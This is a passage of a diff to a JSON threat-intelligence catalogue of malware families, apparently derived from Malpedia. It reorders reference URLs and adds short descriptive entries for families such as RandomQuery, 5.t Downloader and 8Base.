"https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_002" ], "synonyms": [], @@ -11360,6 +11860,7 @@ "description": "", "meta": { "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_003", "https://malpedia.caad.fkie.fraunhofer.de/details/py.unidentified_003" ], "synonyms": [], @@ -11386,8 +11887,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/py.venus_stealer", - "https://geekypandatales.wordpress.com/2023/02/19/the-infostealer-pie-python-malware-analysis/", - "https://twitter.com/0xToxin/status/1625435116771180546" + "https://twitter.com/0xToxin/status/1625435116771180546", + "https://geekypandatales.wordpress.com/2023/02/19/the-infostealer-pie-python-malware-analysis/" ], "synonyms": [], "type": [] @@ -11426,15 +11927,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.cageychameleon", - "https://vb2020.vblocalhost.com/conference/presentations/unveiling-the-cryptomimic/", "https://www.clearskysec.com/wp-content/uploads/2021/05/CryptoCore-Lazarus-Clearsky.pdf", - "https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf", - "https://www.clearskysec.com/cryptocore-group/", - "https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds", + "https://vb2020.vblocalhost.com/conference/presentations/unveiling-the-cryptomimic/", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/offshore%20APT%20organization/DangerousPassword/2020-04-02/Analysis.md", + "https://www.proofpoint.com/us/daily-ruleset-update-summary-20190314", "https://www.clearskysec.com/wp-content/uploads/2020/06/CryptoCore_Group.pdf", - "https://atlas-cybersecurity.com/cyber-threats/cryptocore-cryptocurrency-exchanges-under-attack/", + "https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds", + "https://securelist.com/the-bluenoroff-cryptocurrency-hunt-is-still-on/105488/", + "https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html", + "https://blogs.jpcert.or.jp/en/2019/07/spear-phishing-against-cryptocurrency-businesses.html", + "https://mp.weixin.qq.com/s/nnLqUBPX8xZ3hCr5u-iSjQ", + "https://threatbook.cn/ppt/The%2520Nightmare%2520of%2520Global%2520Cryptocurrency%2520Companies%2520-%2520Demystifying%2520the%2520%25E2%2580%259CDangerousPassword%25E2%2580%259D%2520of%2520the%2520APT%2520Organization.pdf", + "https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf", "https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwjCk7uOzMP-AhXOYMAKHYtLCKkQFnoECBIQAQ&url=https%3A%2F%2Fi.blackhat.com%2FUSA-22%2FThursday%2FUS-22-Wikoff-Talent-Need-Not-Apply.pdf&usg=AOvVaw0deqd7ozZyRTfSBOBmlbiG", - "https://www.proofpoint.com/us/daily-ruleset-update-summary-20190314" + "https://atlas-cybersecurity.com/cyber-threats/cryptocore-cryptocurrency-exchanges-under-attack/", + "https://www.clearskysec.com/cryptocore-group/" ], "synonyms": [ "Cabbage RAT" @@ -11449,8 +11956,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.forbiks", - "https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2017-090807-0934-99", - "https://persianov.net/windows-worms-forbix-worm-analysis" + "https://persianov.net/windows-worms-forbix-worm-analysis", + "https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2017-090807-0934-99" ], "synonyms": [ "Forbix" @@ -11506,8 +12013,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.halfbaked", "https://attack.mitre.org/software/S0151/", - "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" ], "synonyms": [], "type": [] @@ -11549,15 +12056,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lampion", - "https://research.checkpoint.com/wp-content/uploads/2019/12/Threat_Intelligence_News_2019-12-30.pdf", "https://seguranca-informatica.pt/the-hidden-c2-lampion-trojan-release-212-is-on-the-rise-and-using-a-c2-server-for-two-years", - "https://seguranca-informatica.pt/new-release-of-lampion-trojan-spreads-in-portugal-with-some-improvements-on-the-vbs-downloader", - "https://seguranca-informatica.pt/lampion-trojan-disseminated-in-portugal-using-covid-19-template/", - "https://seguranca-informatica.pt/trojan-lampion-is-back-after-3-months/", - "https://unit42.paloaltonetworks.com/single-bit-trap-flag-intel-cpu/", "https://cofense.com/blog/lampion-trojan-utilizes-new-delivery-through-cloud-based-sharing", - "https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/", - "https://securityaffairs.co/wordpress/128975/malware/hidden-c2-lampion-trojan-release-212.html" + "https://research.checkpoint.com/wp-content/uploads/2019/12/Threat_Intelligence_News_2019-12-30.pdf", + "https://seguranca-informatica.pt/trojan-lampion-is-back-after-3-months/", + "https://seguranca-informatica.pt/new-release-of-lampion-trojan-spreads-in-portugal-with-some-improvements-on-the-vbs-downloader", + "https://unit42.paloaltonetworks.com/single-bit-trap-flag-intel-cpu/", + "https://securityaffairs.co/wordpress/128975/malware/hidden-c2-lampion-trojan-release-212.html", + "https://seguranca-informatica.pt/lampion-trojan-disseminated-in-portugal-using-covid-19-template/", + "https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/" ], "synonyms": [], "type": [] @@ -11604,6 +12111,19 @@ "uuid": "93c87125-7150-4bc6-a0f9-b46ff8de1839", "value": "NodeJS Ransomware" }, + { + "description": "According to SentinelLabs, this is a VisualBasic-based malware that gathers system and file information and exfiltrates the data using InternetExplorer.Application or Microsoft.XMLHTTP objects.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.randomquery", + "https://www.sentinelone.com/labs/kimsuky-ongoing-campaign-using-tailored-reconnaissance-toolkit/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "76fd3fcb-151d-4880-b97e-ea890c337aad", + "value": "RandomQuery" + }, { "description": "According to the author, this is a JavaScript based Empire launcher that runs with its own embedded powershell host to not be dependent on local powershell availability.", "meta": { @@ -11623,14 +12143,14 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.starwhale", "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", + "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html", "https://www.techrepublic.com/article/muddywater-targets-middle-eastern-and-asian-countries-in-phishing-attacks/", + "https://blog.talosintelligence.com/iranian-supergroup-muddywater/", "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://thehackernews.com/2022/03/iranian-hackers-targeting-turkey-and.html", - "https://blog.talosintelligence.com/iranian-supergroup-muddywater/", "https://www.govinfosecurity.com/iranian-apt-new-methods-to-target-turkey-arabian-peninsula-a-18706", - "https://rootdaemon.com/2022/03/10/iranian-hackers-targeting-turkey-and-arabian-peninsula-in-new-malware-campaign/", - "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html" + "https://rootdaemon.com/2022/03/10/iranian-hackers-targeting-turkey-and-arabian-peninsula-in-new-malware-campaign/" ], "synonyms": [ "Canopy", @@ -11672,8 +12192,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_003", - "https://aaqeel01.wordpress.com/2021/01/18/docx-files-template-injection/", "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/", + "https://aaqeel01.wordpress.com/2021/01/18/docx-files-template-injection/", "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt" ], "synonyms": [], @@ -11700,8 +12220,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_005", - "https://unit42.paloaltonetworks.com/trident-ursa/", - "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/" + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/", + "https://unit42.paloaltonetworks.com/trident-ursa/" ], "synonyms": [], "type": [] @@ -11714,8 +12234,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_006", - "https://blogs.blackberry.com/en/2023/01/gamaredon-abuses-telegram-to-target-ukrainian-organizations", - "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/" + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/", + "https://blogs.blackberry.com/en/2023/01/gamaredon-abuses-telegram-to-target-ukrainian-organizations" ], "synonyms": [], "type": [] @@ -11780,28 +12300,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor", - "https://www.fortinet.com/blog/threat-research/3cx-desktop-app-compromised", - "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack", - "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/", - "https://blogs.vmware.com/security/2023/03/investigating-3cx-desktop-application-attacks-what-you-need-to-know.html", - "https://www.splunk.com/en_us/blog/security/splunk-insights-investigating-the-3cxdesktopapp-supply-chain-compromise.html", - "https://www.reversinglabs.com/blog/red-flags-fly-over-supply-chain-compromised-3cx-update", - "https://github.com/dodo-sec/Malware-Analysis/blob/main/SmoothOperator/SmoothOperator.md", - "https://www.cadosecurity.com/forensic-triage-of-a-windows-system-running-the-backdoored-3cx-desktop-app/", - "https://www.group-ib.com/blog/3cx-supply-chain-attack/?utm_source=twitter&utm_campaign=3cx-blog&utm_medium=social", - "https://www.trendmicro.com/en_us/research/23/c/information-on-attacks-involving-3cx-desktop-app.html", "https://www.youtube.com/watch?v=fTX-vgSEfjk", - "https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/", - "https://www.zscaler.com/security-research/3CX-supply-chain-attack-analysis-march-2023", + "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack", + "https://www.cadosecurity.com/forensic-triage-of-a-windows-system-running-the-backdoored-3cx-desktop-app/", "https://blog.cyble.com/2023/03/31/a-comprehensive-analysis-of-the-3cx-attack", - "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/", "https://www.rapid7.com/blog/post/2023/03/30/backdoored-3cxdesktopapp-installer-used-in-active-threat-campaign/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/3cx-supply-chain-attack", "https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack", - "https://research.openanalysis.net/3cx/northkorea/apt/triage/2023/03/30/3cx-malware.html#Functionality", + "https://www.group-ib.com/blog/3cx-supply-chain-attack/?utm_source=twitter&utm_campaign=3cx-blog&utm_medium=social", + "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/", "https://blogs.blackberry.com/en/2023/03/initial-implants-and-network-analysis-suggest-the-3cx-supply-chain-operation-goes-back-to-fall-2022", + "https://www.splunk.com/en_us/blog/security/splunk-insights-investigating-the-3cxdesktopapp-supply-chain-compromise.html", + "https://github.com/dodo-sec/Malware-Analysis/blob/main/SmoothOperator/SmoothOperator.md", + "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/", + "https://www.fortinet.com/blog/threat-research/3cx-desktop-app-compromised", + "https://www.reversinglabs.com/blog/red-flags-fly-over-supply-chain-compromised-3cx-update", + "https://research.openanalysis.net/3cx/northkorea/apt/triage/2023/03/30/3cx-malware.html#Functionality", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/3cx-supply-chain-attack", + "https://www.zscaler.com/security-research/3CX-supply-chain-attack-analysis-march-2023", "https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats", - "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/" + "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/", + "https://www.trendmicro.com/en_us/research/23/c/information-on-attacks-involving-3cx-desktop-app.html", + "https://blogs.vmware.com/security/2023/03/investigating-3cx-desktop-application-attacks-what-you-need-to-know.html", + "https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/" ], "synonyms": [ "SUDDENICON" @@ -11812,31 +12332,31 @@ "value": "3CX Backdoor (Windows)" }, { - "description": "Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim’s sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.", + "description": "Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim\u2019s sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://blogs.blackberry.com/en/2022/06/threat-thursday-unique-delivery-method-for-snake-keylogger", - "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--102", - "https://x-junior.github.io/malware%20analysis/2022/06/24/Snakekeylogger.html", "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter", + "https://www.youtube.com/watch?v=vzyJp2w8bPE", + "https://habr.com/ru/company/group-ib/blog/477198/", + "https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://twitter.com/James_inthe_box/status/1401921257109561353", + "https://cert.gov.ua/article/955924", + "https://www.cybereason.com/blog/threat-analysis-report-snake-infostealer-malware", + "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/", + "https://blogs.blackberry.com/en/2022/06/threat-thursday-unique-delivery-method-for-snake-keylogger", + "https://blog.netlab.360.com/purecrypter", + "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--102", + "https://threatresearch.ext.hp.com/pdf-malware-is-not-yet-dead/", + "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--89", + "https://x-junior.github.io/malware%20analysis/2022/06/24/Snakekeylogger.html", "https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware", "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/", "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", - "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--89", - "https://www.cybereason.com/blog/threat-analysis-report-snake-infostealer-malware", - "https://threatresearch.ext.hp.com/pdf-malware-is-not-yet-dead/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/", - "https://twitter.com/James_inthe_box/status/1401921257109561353", - "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/", - "https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/", - "https://cert.gov.ua/article/955924", - "https://blog.netlab.360.com/purecrypter", - "https://habr.com/ru/company/group-ib/blog/477198/", - "https://www.youtube.com/watch?v=vzyJp2w8bPE" + "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/" ], "synonyms": [ "404KeyLogger", @@ -11852,9 +12372,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.4h_rat", - "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", "https://github.com/securitykitten/malware_references/blob/master/crowdstrike-intelligence-report-putter-panda.original.pdf", - "https://attack.mitre.org/groups/G0024" + "https://attack.mitre.org/groups/G0024", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html" ], "synonyms": [], "type": [] @@ -11862,6 +12382,20 @@ "uuid": "823f4eb9-ad37-4fab-8e69-3bdae47a0028", "value": "4h_rat" }, + { + "description": "Downloader used in suspected APT attack against Vietnam.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.5t_downloader", + "https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/", + "https://kienmanowar.wordpress.com/2022/01/26/quicknote-analysis-of-malware-suspected-to-be-an-apt-attack-targeting-vietnam/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "685c9c30-aa9f-43ee-a262-43c17c350049", + "value": "5.t Downloader" + }, { "description": "The NJCCIC describes 7ev3n as a ransomware \"that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n.\"", "meta": { @@ -11876,36 +12410,56 @@ "uuid": "ac2608e9-7851-409f-b842-e265b877a53c", "value": "7ev3n" }, + { + "description": "The 8Base ransomware group has remained relatively unknown despite the massive spike in activity in Summer of 2023. The group utilizes encryption paired with \u201cname-and-shame\u201d techniques to compel their victims to pay their ransoms. 8Base has an opportunistic pattern of compromise with recent victims spanning across varied industries. Despite the high amount of compromises, the information regarding identities, methodology, and underlying motivation behind these incidents still remains a mystery. Samples of their ransomware show they are using customized Phobos with SmokeLoader.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.8base", + "https://krebsonsecurity.com/2023/09/whos-behind-the-8base-ransomware-website/", + "https://www.acronis.com/en-sg/cyber-protection-center/posts/8base-ransomware-stays-unseen-for-a-year/", + "https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html", + "https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/", + "https://twitter.com/rivitna2/status/1674718854549831681", + "https://socradar.io/dark-web-profile-8base-ransomware/", + "https://www.logpoint.com/en/blog/emerging-threat/defending-against-8base/", + "https://blog.bushidotoken.net/2023/05/unmasking-ransomware-using-stylometric.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7ee60640-29cd-4127-b805-1f2b753e9e15", + "value": "8Base" + }, { "description": "8T_Dropper has been used by Chinese threat actor TA428 in order to install Cotx RAT onto victim's machines during Operation LagTime IT. According to Proofpoint the attack was developed against a number of government agencies in East Asia overseeing government information technology, domestic affairs, foreign affairs, economic development, and political processes. The dropper was delivered through an RTF document exploiting CVE-2018-0798.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper", - "https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/", - "https://community.riskiq.com/article/5fe2da7f", - "https://blog.malwarelab.pl/posts/on_the_royal_road/", "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0922.pdf", + "https://community.riskiq.com/article/5fe2da7f", + "https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/", + "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-attribution-object-using-rtf-object-dimensions-track-apt-phishing-weaponizers/", + "https://blog.malwarelab.pl/posts/on_the_royal_road/", + "https://securelist.com/cycldek-bridging-the-air-gap/97157/", + "https://nao-sec.org/2021/01/royal-road-redive.html", + "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", + "https://malgamy.github.io/malware-analysis/The-Approach-of-TA413-for-Tibetan-Targets/#third-stage", + "https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a?", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", + "https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf", + "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", + "https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba", "https://tradahacking.vn/another-malicious-document-with-cve-2017-11882-839e9c0bbf2f", "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", - "https://securelist.com/cycldek-bridging-the-air-gap/97157/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0922.pdf", - "https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba", - "https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf", - "https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/", + "https://community.riskiq.com/article/56fa1b2f", "https://tradahacking.vn/l%C3%A0-1937cn-hay-oceanlotus-hay-lazarus-6ca15fe1b241", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-attribution-object-using-rtf-object-dimensions-track-apt-phishing-weaponizers/", - "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", - "https://malgamy.github.io/malware-analysis/The-Approach-of-TA413-for-Tibetan-Targets/#third-stage", - "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", - "https://nao-sec.org/2021/01/royal-road-redive.html", - "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a?", - "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", - "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", - "https://community.riskiq.com/article/56fa1b2f" + "https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/" ], "synonyms": [ "8t_dropper", @@ -11921,24 +12475,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.9002", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf", - "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", - "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", - "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/elderwood-project-12-en.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://www.infopoint-security.de/medien/the-elderwood-project.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-express", - "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html", + "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", + "https://www.infopoint-security.de/medien/the-elderwood-project.pdf", "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", - "https://attack.mitre.org/groups/G0001/", + "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html", "https://www.fireeye.com/blog/threat-research/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html", + "https://attack.mitre.org/groups/G0001/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/", + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures", - "http://researchcenter.paloaltonetworks.com/2016/07/unit-42-attack-delivers-9002-trojan-through-google-drive/", - "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn" + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", + "https://www.secureworks.com/research/threat-profiles/bronze-union", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf", + "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", + "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/elderwood-project-12-en.pdf", + "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", + "http://researchcenter.paloaltonetworks.com/2016/07/unit-42-attack-delivers-9002-trojan-through-google-drive/" ], "synonyms": [ "HOMEUNIX", @@ -11969,11 +12523,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos", "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", - "https://threatpost.com/new-pos-malware-pinkkite-takes-flight/130428/", - "https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak", - "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software", + "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/", "https://www.carbonblack.com/2020/05/21/tau-technical-report-new-attack-combines-tinypos-with-living-off-the-land-techniques-for-scraping-credit-card-data/", - "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/" + "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software", + "https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak", + "https://threatpost.com/new-pos-malware-pinkkite-takes-flight/130428/" ], "synonyms": [ "PinkKite", @@ -12013,8 +12567,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader", - "https://github.com/Tlgyt/AbSent-Loader", - "https://twitter.com/cocaman/status/1260069549069733888" + "https://twitter.com/cocaman/status/1260069549069733888", + "https://github.com/Tlgyt/AbSent-Loader" ], "synonyms": [], "type": [] @@ -12041,9 +12595,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.acehash", "https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/" ], "synonyms": [], "type": [] @@ -12057,9 +12611,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.acidbox", "https://blog.talosintelligence.com/2020/08/attribution-puzzle.html", + "https://securelist.com/apt-trends-report-q2-2020/97937/", "https://unit42.paloaltonetworks.com/acidbox-rare-malware/", - "https://www.epicturla.com/blog/acidbox-clustering", - "https://securelist.com/apt-trends-report-q2-2020/97937/" + "https://www.epicturla.com/blog/acidbox-clustering" ], "synonyms": [ "MagicScroll" @@ -12094,6 +12648,19 @@ "uuid": "bee73d0f-8ff3-44ba-91dc-d883884c754e", "value": "Acronym" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.action_rat", + 